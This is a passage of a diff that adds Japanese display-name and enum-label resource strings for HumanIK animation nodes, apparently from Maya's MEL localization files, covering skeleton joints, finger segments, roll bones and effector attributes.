"yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll5ROrder", 5, "zyx" ); +// +// Node: HIKState2GlobalSK +// +setNodeNiceNameResource( "HIKState2GlobalSK", "HIKState 2Global SK" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "InputCharacterState", "入力キャラクタの状態" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "ReferenceGX", "リファレンスの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "HipsGX", "ヒップの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftUpLegGX", "左大腿部の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftLegGX", "左脚の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootGX", "左足の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightUpLegGX", "右大腿部の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightLegGX", "右脚の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootGX", "右足の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "SpineGX", "脊椎の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftArmGX", "左腕の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftForeArmGX", "左前腕の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandGX", "左手の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightArmGX", "右腕の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightForeArmGX", "右前腕の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandGX", "右手の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "HeadGX", "頭の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftToeBaseGX", "左足指のベースの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightToeBaseGX", "右足指のベースの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftShoulderGX", "左肩の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightShoulderGX", "右肩の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "NeckGX", "首の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFingerBaseGX", "左指のベースの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFingerBaseGX", "右指のベースの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine1GX", "脊椎 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine2GX", "脊椎 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine3GX", "脊椎 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine4GX", "脊椎 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine5GX", "脊椎 5 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine6GX", "脊椎 6 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine7GX", "脊椎 7 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine8GX", "脊椎 8 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Spine9GX", "脊椎 9 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck1GX", "首 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck2GX", "首 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck3GX", "首 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck4GX", "首 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck5GX", "首 5 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck6GX", "首 6 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck7GX", "首 7 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck8GX", "首 8 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "Neck9GX", "首 9 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftUpLegRollGX", "左大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftLegRollGX", "左脚ロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightUpLegRollGX", "右大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightLegRollGX", "右脚ロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftArmRollGX", "左腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftForeArmRollGX", "左前腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightArmRollGX", "右腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightForeArmRollGX", "右前腕のロールの GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "HipsTranslationGX", "ヒップの移動の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb1GX", "左手親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb2GX", "左手親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb3GX", "左手親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandThumb4GX", "左手親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex1GX", "左手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex2GX", "左手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex3GX", "左手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandIndex4GX", "左手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle1GX", "左手中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle2GX", "左手中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle3GX", "左手中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandMiddle4GX", "左手中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing1GX", "左手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing2GX", "左手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing3GX", "左手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandRing4GX", "左手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky1GX", "左手小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky2GX", "左手小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky3GX", "左手小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandPinky4GX", "左手小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger1GX", "左手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger2GX", "左手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger3GX", "左手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftHandExtraFinger4GX", "左手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb1GX", "右手親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb2GX", "右手親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb3GX", "右手親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandThumb4GX", "右手親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex1GX", "右手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex2GX", "右手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex3GX", "右手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandIndex4GX", "右手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle1GX", "右手中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle2GX", "右手中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle3GX", "右手中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandMiddle4GX", "右手中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing1GX", "右手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing2GX", "右手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing3GX", "右手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandRing4GX", "右手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky1GX", "右手小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky2GX", "右手小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky3GX", "右手小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandPinky4GX", "右手小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger1GX", "右手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger2GX", "右手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger3GX", "右手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightHandExtraFinger4GX", "右手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb1GX", "左足親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb2GX", "左足親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb3GX", "左足親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootThumb4GX", "左足親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex1GX", "左足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex2GX", "左足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex3GX", "左足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootIndex4GX", "左足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle1GX", "左足中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle2GX", "左足中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle3GX", "左足中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootMiddle4GX", "左足中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing1GX", "左足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing2GX", "左足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing3GX", "左足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootRing4GX", "左足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky1GX", "左足小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky2GX", "左足小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky3GX", "左足小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootPinky4GX", "左足小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger1GX", "左足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger2GX", "左足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger3GX", "左足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftFootExtraFinger4GX", "左足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb1GX", "右足親指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb2GX", "右足親指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb3GX", "右足親指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootThumb4GX", "右足親指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex1GX", "右足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex2GX", "右足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex3GX", "右足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootIndex4GX", "右足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle1GX", "右足中指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle2GX", "右足中指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle3GX", "右足中指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootMiddle4GX", "右足中指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing1GX", "右足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing2GX", "右足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing3GX", "右足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootRing4GX", "右足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky1GX", "右足小指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky2GX", "右足小指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky3GX", "右足小指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootPinky4GX", "右足小指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger1GX", "右足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger2GX", "右足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger3GX", "右足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightFootExtraFinger4GX", "右足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandThumbGX", "左手内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandIndexGX", "左手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandMiddleGX", "左手内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandRingGX", "左手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandPinkyGX", "左手内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInHandExtraFingerGX", "左手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandThumbGX", "右手内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandIndexGX", "右手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandMiddleGX", "右手内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandRingGX", "右手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandPinkyGX", "右手内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInHandExtraFingerGX", "右手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootThumbGX", "左足内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootIndexGX", "左足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootMiddleGX", "左足内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootRingGX", "左足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootPinkyGX", "左足内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftInFootExtraFingerGX", "左足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootThumbGX", "右足内側の親指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootIndexGX", "右足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootMiddleGX", "右足内側の中指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootRingGX", "右足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootPinkyGX", "右足内側の小指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightInFootExtraFingerGX", "右足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeftShoulderExtraGX", "追加の左肩の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "RightShoulderExtraGX", "追加の右肩の GX" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll1GX", "左大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll1GX", "左脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll1GX", "右大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll1GX", "右脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll1GX", "左腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll1GX", "左前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll1GX", "右腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll1GX", "右前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll2GX", "左大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll2GX", "左脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll2GX", "右大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll2GX", "右脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll2GX", "左腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll2GX", "左前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll2GX", "右腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll2GX", "右前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll3GX", "左大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll3GX", "左脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll3GX", "右大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll3GX", "右脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll3GX", "左腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll3GX", "左前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll3GX", "右腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll3GX", "右前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll4GX", "左大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll4GX", "左脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll4GX", "右大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll4GX", "右脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll4GX", "左腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll4GX", "左前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll4GX", "右腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll4GX", "右前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftUpLegRoll5GX", "左大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftLegRoll5GX", "左脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightUpLegRoll5GX", "右大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightLegRoll5GX", "右脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftArmRoll5GX", "左腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafLeftForeArmRoll5GX", "左前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightArmRoll5GX", "右腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "LeafRightForeArmRoll5GX", "右前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKState2GlobalSK", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKEffector2State +// +setNodeNiceNameResource( "HIKEffector2State", "HIKEffector 2State" ); +setAttrNiceNameResource( "HIKEffector2State", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKEffector2State", "EFF", "出力エフェクタの状態" ); +setAttrNiceNameResource( "HIKEffector2State", "EFFNA", "出力エフェクタ状態:補助なし" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorGX", "ヒップのエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivot", "ヒップのエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivotX", "ヒップのエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivotY", "ヒップのエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPivotZ", "ヒップのエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorReachT", "ヒップのエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorReachR", "ヒップのエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorPull", "ヒップのエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "HipsEffectorStiffness", "ヒップのエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorGX", "左足首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivot", "左足首のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivotX", "左足首のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivotY", "左足首のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPivotZ", "左足首のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorReachT", "左足首のエフェクタのReach T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorReachR", "左足首のエフェクタのReach R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorPull", "左足首のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftAnkleEffectorStiffness", "左足首のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorGX", "右足首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivot", "右足首のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivotX", "右足首のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivotY", "右足首のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPivotZ", "右足首のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorReachT", "右足首のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorReachR", "右足首のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorPull", "右足首のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightAnkleEffectorStiffness", "右足首のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorGX", "左手首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivot", "左手首のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivotX", "左手首のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivotY", "左手首のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPivotZ", "左手首のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorReachT", "左手首のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorReachR", "左手首のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorPull", 